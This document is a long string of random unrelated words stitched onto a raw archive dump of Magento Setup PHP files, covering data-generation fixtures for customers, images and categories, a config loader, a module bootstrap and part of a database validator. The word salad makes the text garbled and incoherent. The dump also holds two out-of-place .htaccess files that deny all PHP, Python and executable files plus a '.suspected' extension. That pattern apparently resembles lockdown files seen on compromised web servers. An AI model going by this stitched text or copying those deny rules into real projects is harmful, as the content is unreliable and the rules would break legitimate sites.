loves blue Derby restriction prior submit gaining Santa morality tragic musicians invite Ipswich selling script coupled tap remark consist respectable pint optimistic humanity layout openly breed policemen Scots invented linking convincing Harold guide vocabulary Rob unacceptable competent Carrie spatial ignoring applicant swiftly easier painter decisive traders pretend bargaining depended modes preventing rage respective elite permanently seemingly bunch carers fathers engagement liquid Canterbury binding fires sentenced rebels founder ballet erosion Gould syndrome relieved nursing harmony Coventry protested hut sits stops Lamont bore instructed fertility toxic testament 1957 sickness stretch Bath lemon practise mix faster integral select redundant handle throne conceived polytechnic nerves belongs privately burn gravity labelled Alfred bishops basin rings holders swing flood Christie evolved sovereignty then applicants cows lion Virginia trail smoking trading Murray boxing amateur probable scrutiny tempted borders pan fix hydrogen accountability consulted echo sponsorship fame El lakes protests patience documentation Geoff backing search Mozart silently passing seasons recipe fetch auditors territorial specified abandon bombs Los mineral horizontal lined Robyn booked du cleaning bear old-fashioned inland youngest envisaged floors thrust likewise strengthen penny wake Bradford overseas consult cognitive Ralph dock reaches disturbed communists slim synthesis contexts revival Reading regulatory hurried defender dry miserable walks debates dancing isolated venue Hampshire resident rounds deals packet likelihood remaining induced guys temper comparatively calculations protecting holdings corn 1947 Yeltsin fusion Marxist conferences creditors questionnaire gothic scared willingness civilian shelves reporting precision divide Phillips overnight Intel Linda deputies Indians Trevor Juliet Watson conventions modified instant praise Des coin blown hiding galleries 1940 Constance outlook incurred adverse subsidiary tiles seventeenth Korean emphasised Eddie bile 1959 fancy accounting leaflet headmaster crack heels truck engage reporter plays Steven calm initiated brigade Dorothy unconscious convicted illustration trustees sustained alike End ideally entity tons sang telegraph negotiation opposite smell aesthetic wiped concentrating anonymous trace usage orthodox fulfil polite girlfriend lovers translated static intent cancelled inside unaware presidency corps assigned appearances exploit margins worldwide cups solved panels halt EEC Suffolk developers fantastic Lancaster seminar fashionable criticisms Cooper motorway zones foolish intake advances receipt rule regiment trades manual backs duck causal convey Tommy wee cleaning fond compatible Southampton inclusion Herbert finding lengthy two-thirds tent shed implicit cameras dare abolition Romania pigs lace dedicated cuts perceptions ft counts earning kiss confirmation dual confronted twenty-five mistress assignment propaganda toys Arsenal Eleanor critic curiosity republican pipes reduces shooting cheerful reporting plea distinguished subjective pie priests returns tel labels width relaxation advertisement white smoke pencil legally following lacked surviving disadvantage ruling forward sleeping owl adequately reproduction rewards architects rear Shelley exotic ambassador 1914 camps displays passages gazed timetable salad purple cautious visiting Turner aggregate ignorance anticipated Parker redundancy array penalties renaissance theology try warn process ethical major proving plain protestant grid tenth takeover canvas Ted skull highlighted jokes beat pools twins borne criticized chemical omitted revision sincerely prizes salvation teenage responding indicators repairs amnesty comparing large-scale yield Claire photography disastrous thumb dying jointly kilometres scholars ace lump delicious confidential clash market underground Blanche armed destination witnessed parameters costly restraint bit 1958 shaped rode tips prosperity diamond fury instinct reserved valuation contacted subsidies Hunt collector Darwin sponsored compound strengths sank defences lifestyle prejudice announce apparatus dot shoe blanket wound Christine hunger cabin photographer stay preservation calendar assessments colony Katherine thorough medal trips washing eliminate breathe actress provinces helicopter mist clue dominance relaxed analysts searched grin Czechoslovakia hitting inability portion restrict Gray conspiracy Nicholson mercy log autonomous intends solidarity jail genius 1920s pilots incorporate atomic blade frozen 1956 colourful discharge injured mask provided that Trent ease draws retire supposed ml angrily sigh stamp adjust ferry concessions majesty Gilbert pylori uniform adjusted ashamed admired alpha referee 1944 Lebanon respondents Collins rested reconstruction flown individually jaw submission efficiently bitterly glorious pour illustrates Angeles amid convert wicked provoked Chapman elbow videos coherent annually le rising disciplines cliff boyfriend novel controls sweat depths Claudia cave balanced strikes stretching pains Close Tokyo Portugal racism priced delightful evaluate arbitrary Chicago Richards signature reversed heroes clarity hit screamed adjacent lid psychiatric comprising honey temptation beam immigration recordings worrying weird practitioner unchanged calculation tutor politician rolling Athens expedition electorate evolutionary scattered abolished researcher ports Chester dilemma Carl loaded IMF flung intimate fever parallel tight miracle including lawn biology Lothian failures breaks Angela shy appraisal sporting wines cleaned disciplinary occurrence smile formidable lexical graduates fined cooking privacy needles Reagan Black Ed sink march equations grim narrative HP charts polls Paula express OK limbs decorated high addressing proceeds pact Madame Merseyside revenge vice-president far from proceeded airline minerals killing accused double gradual descent mount homeless courtesy enhanced supermarket Blake Cheshire interfere organisers managing monitoring coming rat supporting Marcus trace approve delays pm Reynolds please yo programming training renewed Hull invention writings back excess planes legacy challenges gaps dug Jason interpretations smallest pulse analyses Ashley rubber retired specimen outdoor shooting chosen embarrassing wrist atoms Hereford smoking incidentally preferred renewal Japanese vanished hook loudly bride Annie interactions bizarre gospel realm mainland knit appalling exchanges surgeon crews orientation twisted occupy flame hatred exceed Maurice laboratories reviews Bosnia agreed Butler utility conversations imaginative pursuing flour accepted wartime governing Reid object cutting indirectly governed palestinian vocational von modification slopes allegedly parade free aluminium Al movies biscuits motive register merchants hip print rabbits remedies stress trainer welcome wound Geneva configuration boost puzzled encounter axis no matter how Clive worldwide Arnold Allan lamb laser vegetation reluctance jazz databases strengthened protocol enjoyment organisational knitting census calculate handicapped mucosa theirs 1951 advertisements eldest Carol 1936 eventual husbands fur followers wasted pump lifting practised yacht toes stimulate speeches 1953 traced ensured arrow journals weekends spontaneous appoint 1949 binding superintendent vivid corporations organisms celebrated mice motives torn tie dies 1954 waiting classified organs lack worlds nineteenth-century faithful shield withdrew reckoned north-west rolling missiles noisy hire organising quote sofa reminder Venice ministerial A daylight injection graph exchanged prayers boost preparations borrowing innovative strongest audiences disclosure confrontation constitutes burnt liaison armies strangely wounds Hewlett-Packard controlled Newman cease incentives extends Mitchell echoed facilitate resentment shout cage gloves 1990s exploring saving Leonard crossing choir Gibson exit Sydney assumes woodland fog underneath promises Ellen nationalism Kenya commentators Ferguson metals reasoning acids hunt pop 1946 dirt Texas Keynes conceptual aiming stating technically heading economically constituted Union maker blowing touching tours erected ambitions spare chorus Bond bladder settings dividends 18th Gaulle unusually phases adapt colitis exploded Nelson civic bells gall Macdonald unwilling retreat booklet enforce defining goodbye meaningful Gregory pine borrowed bow disturbing Magento/Setup/Fixtures/_files/.htaccess000077700000000177151323623130014121 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Fixtures/CustomersFixture.php000077700000007561151323623130015132 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Customer\Model\ResourceModel\Customer\CollectionFactory; use Magento\Setup\Model\Customer\CustomerDataGenerator; use Magento\Setup\Model\Customer\CustomerDataGeneratorFactory; use Magento\Setup\Model\FixtureGenerator\CustomerGenerator; /** * Generate customers based on profile configuration * Supports the following format: * <customers>{customers amount}</customers> * Customers will have normal distribution on all available websites * * Each customer will have absolutely the same data * except customer email, customer group and customer addresses * * @see \Magento\Setup\Model\FixtureGenerator\CustomerTemplateGenerator * to view general customer data * * @see \Magento\Setup\Model\Customer\CustomerDataGenerator * if you need dynamically change data per each customer * * @see \Magento\Setup\Model\Address\AddressDataGenerator * if you need dynamically change address data per each customer * * @see setup/performance-toolkit/config/customerConfig.xml * here you can change amount of addresses to be generated per each customer * Supports the following format: * <customer-config> * <addresses-count>{amount of addresses}</addresses-count> * </customer-config> * * @see setup/performance-toolkit/profiles/ce/small.xml */ class CustomersFixture extends Fixture { /** * @var int */ protected $priority = 70; /** * @var CustomerGenerator */ private $customerGenerator; /** * @var CustomerDataGeneratorFactory */ private $customerDataGeneratorFactory; /** * @var array */ private $defaultCustomerConfig = [ 'addresses-count' => 2 ]; /** * @var CollectionFactory */ private $collectionFactory; /** * @param FixtureModel $fixtureModel * @param CustomerGenerator $customerGenerator * @param CustomerDataGeneratorFactory $customerDataGeneratorFactory * @param CollectionFactory $collectionFactory */ public function __construct( FixtureModel $fixtureModel, CustomerGenerator $customerGenerator, CustomerDataGeneratorFactory $customerDataGeneratorFactory, CollectionFactory $collectionFactory ) { parent::__construct($fixtureModel); $this->customerGenerator = $customerGenerator; $this->customerDataGeneratorFactory = $customerDataGeneratorFactory; $this->collectionFactory = $collectionFactory; } /** * {@inheritdoc} */ public function execute() { $customersNumber = $this->getCustomersAmount(); if (!$customersNumber) { return; } /** @var CustomerDataGenerator $customerDataGenerator */ $customerDataGenerator = $this->customerDataGeneratorFactory->create( $this->getCustomersConfig() ); $fixtureMap = [ 'customer_data' => function ($customerId) use ($customerDataGenerator) { return $customerDataGenerator->generate($customerId); }, ]; $this->customerGenerator->generate($customersNumber, $fixtureMap); } /** * @return int */ private function getCustomersAmount() { return max(0, $this->fixtureModel->getValue('customers', 0) - $this->collectionFactory->create()->getSize()); } /** * {@inheritdoc} */ public function getActionTitle() { return 'Generating customers'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return [ 'customers' => 'Customers' ]; } /** * @return array */ private function getCustomersConfig() { return $this->fixtureModel->getValue('customer-config', $this->defaultCustomerConfig); } } Magento/Setup/Fixtures/ImagesFixture.php000077700000041074151323623130014350 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Exception\ValidatorException; use Magento\MediaStorage\Service\ImageResize; use Symfony\Component\Console\Output\OutputInterface; /** * Generate images per each product * Support next format: * <product-images> * <images-count>X</images-count> * <images-per-product>Y</images-per-product> * </product-images> * * Where * X - number of images to be generated * Y - number of images that will be assigned per each product * * note, that probably you would need to run command: * php bin/magento catalog:images:resize * to resize images after generation but be patient with it * because it can take pretty much time * * @see setup/performance-toolkit/profiles/ce/small.xml * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ImagesFixture extends Fixture { /** * @var int */ protected $priority = 51; /** * @var \Magento\Framework\App\ResourceConnection */ private $resourceConnection; /** * @var \Magento\Setup\Fixtures\ImagesGenerator\ImagesGeneratorFactory */ private $imagesGeneratorFactory; /** * @var \Magento\Framework\Filesystem */ private $filesystem; /** * @var \Magento\Catalog\Model\Product\Media\Config */ private $mediaConfig; /** * @var \Magento\Eav\Model\AttributeRepository */ private $attributeRepository; /** * @var \Magento\Framework\DB\Adapter\AdapterInterface */ private $dbConnection; /** * @var \Magento\Framework\DB\Sql\ColumnValueExpressionFactory */ private $expressionFactory; /** * @var \Magento\Setup\Model\BatchInsertFactory */ private $batchInsertFactory; /** * @var \Magento\Framework\EntityManager\MetadataPool */ private $metadataPool; /** * @var array */ private $attributeCodesCache = []; /** * @var int */ private $imagesInsertBatchSize = 1000; /** * @var int */ private $productsSelectBatchSize = 1000; /** * @var int */ private $productsCountCache; /** * @var array */ private $tableCache = []; /** * @var ImageResize */ private $imageResize; /** * @param FixtureModel $fixtureModel * @param \Magento\Framework\App\ResourceConnection $resourceConnection * @param ImagesGenerator\ImagesGeneratorFactory $imagesGeneratorFactory * @param \Magento\Framework\Filesystem $filesystem * @param \Magento\Catalog\Model\Product\Media\Config $mediaConfig * @param \Magento\Eav\Model\AttributeRepository $attributeRepository * @param \Magento\Framework\DB\Sql\ColumnValueExpressionFactory $expressionFactory * @param \Magento\Setup\Model\BatchInsertFactory $batchInsertFactory * @param \Magento\Framework\EntityManager\MetadataPool $metadataPool * @param ImageResize $imageResize */ public function __construct( FixtureModel $fixtureModel, \Magento\Framework\App\ResourceConnection $resourceConnection, \Magento\Setup\Fixtures\ImagesGenerator\ImagesGeneratorFactory $imagesGeneratorFactory, \Magento\Framework\Filesystem $filesystem, \Magento\Catalog\Model\Product\Media\Config $mediaConfig, \Magento\Eav\Model\AttributeRepository $attributeRepository, \Magento\Framework\DB\Sql\ColumnValueExpressionFactory $expressionFactory, \Magento\Setup\Model\BatchInsertFactory $batchInsertFactory, \Magento\Framework\EntityManager\MetadataPool $metadataPool, ImageResize $imageResize ) { parent::__construct($fixtureModel); $this->imagesGeneratorFactory = $imagesGeneratorFactory; $this->resourceConnection = $resourceConnection; $this->filesystem = $filesystem; $this->mediaConfig = $mediaConfig; $this->attributeRepository = $attributeRepository; $this->expressionFactory = $expressionFactory; $this->batchInsertFactory = $batchInsertFactory; $this->metadataPool = $metadataPool; $this->imageResize = $imageResize; } /** * {@inheritdoc} * @throws \Exception */ public function execute() { if (!$this->checkIfImagesExists() && $this->getImagesToGenerate()) { $this->createImageEntities(); $this->assignImagesToProducts(); iterator_to_array($this->imageResize->resizeFromThemes(), false); } } /** * {@inheritdoc} */ public function getActionTitle() { return 'Generating images'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return [ 'product-images' => 'Product Images' ]; } /** * {@inheritdoc} * @throws ValidatorException */ public function printInfo(OutputInterface $output) { $config = $this->fixtureModel->getValue('product-images', []); if (!$config) { return; } if (!isset($config['images-count'])) { throw new ValidatorException( __("The amount of images to generate wasn't specified. Enter the amount and try again.") ); } if (!isset($config['images-per-product'])) { throw new ValidatorException( __("The amount of images per product wasn't specified. Enter the amount and try again.") ); } $output->writeln( sprintf( '<info> |- Product images: %s, %s per product</info>', $config['images-count'], $config['images-per-product'] ) ); } /** * Check if DB already has any images * * @return bool */ private function checkIfImagesExists() { return $this->getImagesCount() > 0; } /** * Create image file and add it to media gallery table in DB * * @return void */ private function createImageEntities() { /** @var \Magento\Setup\Model\BatchInsert $batchInsert */ $batchInsert = $this->batchInsertFactory->create([ 'insertIntoTable' => $this->getTable('catalog_product_entity_media_gallery'), 'batchSize' => $this->imagesInsertBatchSize ]); foreach ($this->generateImageFilesGenerator() as $imageName) { $batchInsert->insert([ 'attribute_id' => $this->getAttributeId('media_gallery'), 'value' => $imageName, ]); } $batchInsert->flush(); } /** * Create generator that creates image files and puts them to appropriate media folder * in memory-safe way * * @return \Generator * @throws \Magento\Framework\Exception\FileSystemException */ private function generateImageFilesGenerator() { /** @var \Magento\Setup\Fixtures\ImagesGenerator\ImagesGenerator $imagesGenerator */ $imagesGenerator = $this->imagesGeneratorFactory->create(); $mediaDirectory = $this->filesystem->getDirectoryWrite(DirectoryList::MEDIA); $productImagesDirectoryPath = $mediaDirectory->getRelativePath($this->mediaConfig->getBaseMediaPath()); for ($i = 1; $i <= $this->getImagesToGenerate(); $i++) { $imageName = md5($i) . '.jpg'; $imageFullName = DIRECTORY_SEPARATOR . substr($imageName, 0, 1) . DIRECTORY_SEPARATOR . substr($imageName, 1, 1) . DIRECTORY_SEPARATOR . $imageName; $imagePath = $imagesGenerator->generate([ 'image-width' => 300, 'image-height' => 300, 'image-name' => $imageName ]); $mediaDirectory->renameFile( $mediaDirectory->getRelativePath($imagePath), $productImagesDirectoryPath . $imageFullName ); yield $imageFullName; } } /** * Assign created images to products according to Y images per each product * * @return void * @throws \Exception */ private function assignImagesToProducts() { /** @var \Magento\Setup\Model\BatchInsert $batchInsertCatalogProductEntityVarchar */ $batchInsertCatalogProductEntityVarchar = $this->batchInsertFactory->create([ 'insertIntoTable' => $this->getTable('catalog_product_entity_varchar'), 'batchSize' => $this->imagesInsertBatchSize ]); /** @var \Magento\Setup\Model\BatchInsert $batchInsertCatalogProductEntityMediaGalleryValue */ $batchInsertCatalogProductEntityMediaGalleryValue = $this->batchInsertFactory->create([ 'insertIntoTable' => $this->getTable('catalog_product_entity_media_gallery_value'), 'batchSize' => $this->imagesInsertBatchSize ]); /** @var \Magento\Setup\Model\BatchInsert $batchInsertCatalogProductEntityMediaGalleryValueToEntity */ $batchInsertCatalogProductEntityMediaGalleryValueToEntity = $this->batchInsertFactory->create([ 'insertIntoTable' => $this->getTable('catalog_product_entity_media_gallery_value_to_entity'), 'batchSize' => $this->imagesInsertBatchSize ]); $imageGenerator = $this->getImagesGenerator(); foreach ($this->getProductGenerator() as $productEntity) { for ($imageNum = 1; $imageNum <= $this->getImagesPerProduct(); $imageNum++) { $image = $imageGenerator->current(); $imageGenerator->next(); if ($imageNum === 1) { $attributes = ['image', 'small_image', 'thumbnail', 'swatch_image']; foreach ($attributes as $attr) { $batchInsertCatalogProductEntityVarchar->insert([ $this->getProductLinkField() => $productEntity[$this->getProductLinkField()], 'attribute_id' => $this->getAttributeId($attr), 'value' => $image['value'], 'store_id' => 0, ]); } } $batchInsertCatalogProductEntityMediaGalleryValueToEntity->insert([ 'value_id' => $image['value_id'], $this->getProductLinkField() => $productEntity[$this->getProductLinkField()] ]); $batchInsertCatalogProductEntityMediaGalleryValue->insert([ 'value_id' => $image['value_id'], 'store_id' => 0, $this->getProductLinkField() => $productEntity[$this->getProductLinkField()], 'position' => $image['value_id'], 'disabled' => 0 ]); } } $batchInsertCatalogProductEntityVarchar->flush(); $batchInsertCatalogProductEntityMediaGalleryValue->flush(); $batchInsertCatalogProductEntityMediaGalleryValueToEntity->flush(); } /** * Returns generator to iterate in memory-safe way over all product entities in DB * * @return \Generator * @throws \Exception */ private function getProductGenerator() { $offset = 0; $products = $this->getProducts($this->productsSelectBatchSize, $offset); $offset += $this->productsSelectBatchSize; while (true) { yield current($products); if (next($products) === false) { $products = $this->getProducts($this->productsSelectBatchSize, $offset); $offset += $this->productsSelectBatchSize; if (empty($products)) { break; } } } } /** * Get products entity ids * * @param int $limit * @param int $offset * @return array * @throws \Exception */ private function getProducts($limit, $offset) { $select = $this->getDbConnection() ->select() ->from(['product_entity' => $this->getTable('catalog_product_entity')], []) ->columns([$this->getProductLinkField()]) ->limit($limit, $offset); return $this->getDbConnection()->fetchAssoc($select); } /** * Creates generator to iterate infinitely over all image entities * * @return \Generator */ private function getImagesGenerator() { $select = $this->getDbConnection() ->select() ->from( $this->getTable('catalog_product_entity_media_gallery'), ['value_id', 'value'] )->order('value_id desc') ->limit($this->getProductsCount() * $this->getImagesPerProduct()); $images = $this->getDbConnection()->fetchAssoc($select); while (true) { yield current($images); if (next($images) === false) { reset($images); } } } /** * Return number of images to create * * @return null|int */ private function getImagesToGenerate() { $config = $this->fixtureModel->getValue('product-images', []); return $config['images-count'] ?? null; } /** * Return number of images to be assigned per each product * * @return null|int */ private function getImagesPerProduct() { $config = $this->fixtureModel->getValue('product-images', []); return $config['images-per-product'] ?? null; } /** * Get amount of existing products * * @return int */ private function getProductsCount() { if ($this->productsCountCache === null) { $select = $select = $this->getDbConnection() ->select() ->from(['product_entity' => $this->getTable('catalog_product_entity')], []) ->columns([ 'count' => $this->expressionFactory->create([ 'expression' => 'COUNT(*)' ]) ]); $this->productsCountCache = (int) $this->getDbConnection()->fetchOne($select); } return $this->productsCountCache; } /** * Get amount of existing images * * @return int */ private function getImagesCount() { $select = $select = $this->getDbConnection() ->select() ->from(['product_entity' => $this->getTable('catalog_product_entity_media_gallery')], []) ->columns([ 'count' => $this->expressionFactory->create([ 'expression' => 'COUNT(*)' ]) ])->where('media_type="image"'); return (int) $this->getDbConnection()->fetchOne($select); } /** * Get eav attribute id by its code * * @param string $attributeCode * @return int * @throws \Magento\Framework\Exception\NoSuchEntityException */ private function getAttributeId($attributeCode) { if (!isset($this->attributeCodesCache[$attributeCode])) { $attribute = $this->attributeRepository->get( 'catalog_product', $attributeCode ); $this->attributeCodesCache[$attributeCode] = $attribute->getAttributeId(); } return $this->attributeCodesCache[$attributeCode]; } /** * Retrieve current connection to DB * * Method is required to eliminate multiple calls to ResourceConnection class * * @return \Magento\Framework\DB\Adapter\AdapterInterface */ private function getDbConnection() { if ($this->dbConnection === null) { $this->dbConnection = $this->resourceConnection->getConnection(); } return $this->dbConnection; } /** * Retrieve real table name * * Method act like a cache for already retrieved table names * is required to eliminate multiple calls to ResourceConnection class * * @param string $tableName * @return string */ private function getTable($tableName) { if (!isset($this->tableCache[$tableName])) { $this->tableCache[$tableName] = $this->resourceConnection->getTableName($tableName); } return $this->tableCache[$tableName]; } /** * Return product id field name - entity_id|row_id * * @return string * @throws \Exception */ private function getProductLinkField() { return $this->metadataPool ->getMetadata(\Magento\Catalog\Api\Data\ProductInterface::class) ->getLinkField(); } } Magento/Setup/Fixtures/CategoriesFixture.php000077700000016515151323623130015232 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Catalog\Model\Category; use Magento\Catalog\Model\CategoryFactory; use Magento\Catalog\Model\ResourceModel\Category\CollectionFactory; use Magento\Store\Model\Store; use Magento\Store\Model\StoreManager; /** * Generate categories. * Support the following format: * <categories>{amount of categories}</categories> * <categories_nesting_level>{Nesting level of categories}</categories_nesting_level> * * If config "assign_entities_to_all_websites" set to "0" then all categories will be * uniformly distributed per root categories, else all categories assigned to one root category */ class CategoriesFixture extends Fixture { /** * @var StoreManager */ private $storeManager; /** * @var CategoryFactory */ private $categoryFactory; /** * @var CollectionFactory */ private $collectionFactory; /** * @var int */ private $firstLevelCategoryIndex; /** * @var array */ private $rootCategoriesIds; /** * @var int */ private $categoriesNumber; /** * @var int */ private $maxNestingLevel; /** * CategoriesFixture constructor. * @param FixtureModel $fixtureModel * @param StoreManager $storeManager * @param CategoryFactory $categoryFactory * @param CollectionFactory $collectionFactory */ public function __construct( FixtureModel $fixtureModel, StoreManager $storeManager, CategoryFactory $categoryFactory, CollectionFactory $collectionFactory ) { parent::__construct($fixtureModel); $this->storeManager = $storeManager; $this->categoryFactory = $categoryFactory; $this->collectionFactory = $collectionFactory; } /** * @var int */ protected $priority = 20; /** * @inheritdoc */ public function execute() { $this->categoriesNumber = $this->getCategoriesAmount(); if (!$this->categoriesNumber) { return; } $this->maxNestingLevel = $this->fixtureModel->getValue('categories_nesting_level', 3); $categoriesNumberOnLevel = abs(ceil(pow($this->categoriesNumber, 1 / $this->maxNestingLevel) - 2)); foreach ($this->getRootCategoriesIds() as $parentCategoryId) { $category = $this->categoryFactory->create(); $category->load($parentCategoryId); // Need for generation url rewrites per all category store view $category->setStoreId(Store::DEFAULT_STORE_ID); $categoryIndex = 1; $this->generateCategories( $category, $categoriesNumberOnLevel, 1, $categoryIndex ); } } /** * Generate categories * * @param Category $parentCategory * @param int $categoriesNumberOnLevel * @param int $nestingLevel * @param int $categoryIndex * @return void */ private function generateCategories( Category $parentCategory, $categoriesNumberOnLevel, $nestingLevel, &$categoryIndex ) { $maxCategoriesNumberOnLevel = $nestingLevel === 1 ? $this->categoriesNumber : $categoriesNumberOnLevel; for ($i = 0; $i < $maxCategoriesNumberOnLevel && $categoryIndex <= $this->categoriesNumber; $i++) { try { $category = clone $parentCategory; $category->setId(null) ->setUrlKey(null) ->setUrlPath(null) ->setStoreId(Store::DEFAULT_STORE_ID) ->setName($this->getCategoryName($parentCategory, $nestingLevel, $i)) ->setParentId($parentCategory->getId()) ->setLevel($parentCategory->getLevel() + 1) ->setAvailableSortBy('name') ->setIsAnchor($nestingLevel <= 2) ->setDefaultSortBy('name') ->setIsActive(true); $category->save(); $categoryIndex++; if ($nestingLevel < $this->maxNestingLevel) { $this->generateCategories( $category, $categoriesNumberOnLevel, $nestingLevel + 1, $categoryIndex ); } } catch (\Magento\Framework\Exception\AlreadyExistsException $e) { $categoryIndex++; continue; } catch (\Magento\Framework\DB\Adapter\DuplicateException $e) { $categoryIndex++; continue; } } } /** * Get category name based on parent category and current level * * @param Category $parentCategory * @param int $nestingLevel * @param int $index * @return string */ private function getCategoryName($parentCategory, $nestingLevel, $index) { $categoryNameSuffix = $nestingLevel === 1 ? $this->getFirstLevelCategoryIndex() + $index : $index + 1; return ($nestingLevel === 1 ? $this->getCategoryPrefix() . ' ' : $parentCategory->getName() . '.') . $categoryNameSuffix; } /** * Get ids of root categories * * @return int[] */ private function getRootCategoriesIds() { if (null === $this->rootCategoriesIds) { $this->rootCategoriesIds = []; foreach ($this->storeManager->getGroups() as $storeGroup) { $this->rootCategoriesIds[] = $storeGroup->getRootCategoryId(); // in this case root category will be the same for all store groups if ((bool)$this->fixtureModel->getValue('assign_entities_to_all_websites', false)) { break; } } } return $this->rootCategoriesIds; } /** * Get categories amount for generation * * @return int */ private function getCategoriesAmount() { $categoriesAmount = $this->collectionFactory->create()->getSize(); $rootCategories = count($this->getRootCategoriesIds()); $categoriesNumber = $this->fixtureModel->getValue('categories', 0) - ($categoriesAmount - $rootCategories - 1); return max( 0, ceil($categoriesNumber / $rootCategories) ); } /** * Get next category index, which will be used as index of first-level category * * @return int */ private function getFirstLevelCategoryIndex() { if (null === $this->firstLevelCategoryIndex) { $this->firstLevelCategoryIndex = $this->collectionFactory->create() ->addFieldToFilter('level', 2) ->getSize() + 1; } return $this->firstLevelCategoryIndex; } /** * Get Category name prefix * * @return string */ private function getCategoryPrefix() { return 'Category'; } /** * @inheritdoc */ public function getActionTitle() { return 'Generating categories'; } /** * @inheritdoc */ public function introduceParamLabels() { return [ 'categories' => 'Categories' ]; } } Magento/Setup/Fixtures/FixtureConfig.php000077700000003622151323623130014345 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Framework\Xml\Parser; /** * Config data for fixtures */ class FixtureConfig { /** * @var array */ private $config; /** * @var Parser */ private $parser; /** * @param Parser $parser */ public function __construct(Parser $parser) { $this->parser = $parser; } /** * Load config from file * * @param string $filename * @throws \Exception * * @return void */ public function loadConfig($filename) { if (!is_readable($filename)) { throw new \Exception("Profile configuration file `{$filename}` is not readable or does not exists."); } $this->parser->getDom()->load($filename); $this->parser->getDom()->xinclude(); $this->config = $this->parser->xmlToArray(); $this->config['config']['profile']['di'] = dirname($filename) . '/' . (isset($this->config['config']['profile']['di']) ? $this->config['config']['profile']['di'] : '../../config/di.xml' ); } /** * Get profile configuration value * * @param string $key * @param null|mixed $default * * @return mixed */ public function getValue($key, $default = null) { return isset($this->config['config']['profile'][$key]) ? ( // Work around for how attributes are handled in the XML parser when injected via xinclude due to the // files existing outside of the current working directory. isset($this->config['config']['profile'][$key]['_value']) ? $this->config['config']['profile'][$key]['_value'] : $this->config['config']['profile'][$key] ) : $default; } } Magento/Setup/Fixtures/.htaccess000077700000000177151323623130012660 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module.php000077700000006273151323623130011212 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup; use Laminas\EventManager\EventInterface; use Laminas\EventManager\EventManager; use Laminas\ModuleManager\Feature\BootstrapListenerInterface; use Laminas\ModuleManager\Feature\ConfigProviderInterface; use Laminas\Mvc\ModuleRouteListener; use Laminas\Mvc\MvcEvent; use Laminas\Stdlib\DispatchableInterface; use Magento\Framework\App\Response\HeaderProvider\XssProtection; use Magento\Setup\Mvc\View\Http\InjectTemplateListener; /** * Laminas module declaration */ class Module implements BootstrapListenerInterface, ConfigProviderInterface { /** * @inheritDoc */ public function onBootstrap(EventInterface $e) { /** @var MvcEvent $e */ /** @var \Laminas\Mvc\Application $application */ $application = $e->getApplication(); /** @var EventManager $events */ $events = $application->getEventManager(); /** @var \Laminas\EventManager\SharedEventManager $sharedEvents */ $sharedEvents = $events->getSharedManager(); $moduleRouteListener = new ModuleRouteListener(); $moduleRouteListener->attach($events); // Override Laminas\Mvc\View\Http\InjectTemplateListener // to process templates by Vendor/Module $injectTemplateListener = new InjectTemplateListener(); $sharedEvents->attach( DispatchableInterface::class, MvcEvent::EVENT_DISPATCH, [$injectTemplateListener, 'injectTemplate'], -89 ); $response = $e->getResponse(); if ($response instanceof \Laminas\Http\Response) { $headers = $response->getHeaders(); if ($headers) { $headers->addHeaderLine('Cache-Control', 'no-cache, no-store, must-revalidate'); $headers->addHeaderLine('Pragma', 'no-cache'); $headers->addHeaderLine('Expires', '1970-01-01'); $headers->addHeaderLine('X-Frame-Options: SAMEORIGIN'); $headers->addHeaderLine('X-Content-Type-Options: nosniff'); /** @var \Laminas\Http\Header\UserAgent $userAgentHeader */ $userAgentHeader = $e->getRequest()->getHeader('User-Agent'); $xssHeaderValue = $userAgentHeader && $userAgentHeader->getFieldValue() && strpos($userAgentHeader->getFieldValue(), XssProtection::IE_8_USER_AGENT) === false ? XssProtection::HEADER_ENABLED : XssProtection::HEADER_DISABLED; $headers->addHeaderLine('X-XSS-Protection: ' . $xssHeaderValue); } } } /** * @inheritDoc */ public function getConfig() { // phpcs:disable $result = array_merge_recursive( include __DIR__ . '/../../../config/module.config.php', include __DIR__ . '/../../../config/router.config.php', include __DIR__ . '/../../../config/di.config.php', include __DIR__ . '/../../../config/states.install.config.php', include __DIR__ . '/../../../config/languages.config.php', ); // phpcs:enable return $result; } } Magento/Setup/Validator/DbValidator.php000077700000016133151323623130014101 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Validator; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Setup\Model\Installer; use Magento\Setup\Module\ConnectionFactory; /** * Class DbValidator - validates DB related settings */ class DbValidator { /** * Db prefix max length */ const DB_PREFIX_LENGTH = 5; /** * DB connection factory * * @var ConnectionFactory */ private $connectionFactory; /** * Constructor * * @param ConnectionFactory $connectionFactory */ public function __construct(ConnectionFactory $connectionFactory) { $this->connectionFactory = $connectionFactory; } /** * Check if database table prefix is valid * * @param string $prefix * @return bool * @throws \InvalidArgumentException */ public function checkDatabaseTablePrefix($prefix) { //The table prefix should contain only letters (a-z), numbers (0-9) or underscores (_); // the first character should be a letter. if ($prefix !== '' && !preg_match('/^([a-zA-Z])([[:alnum:]_]+)$/', $prefix)) { throw new \InvalidArgumentException( 'Please correct the table prefix format, should contain only numbers, letters or underscores.' .' The first character should be a letter.' ); } if (strlen($prefix) > self::DB_PREFIX_LENGTH) { throw new \InvalidArgumentException( 'Table prefix length can\'t be more than ' . self::DB_PREFIX_LENGTH . ' characters.' ); } return true; 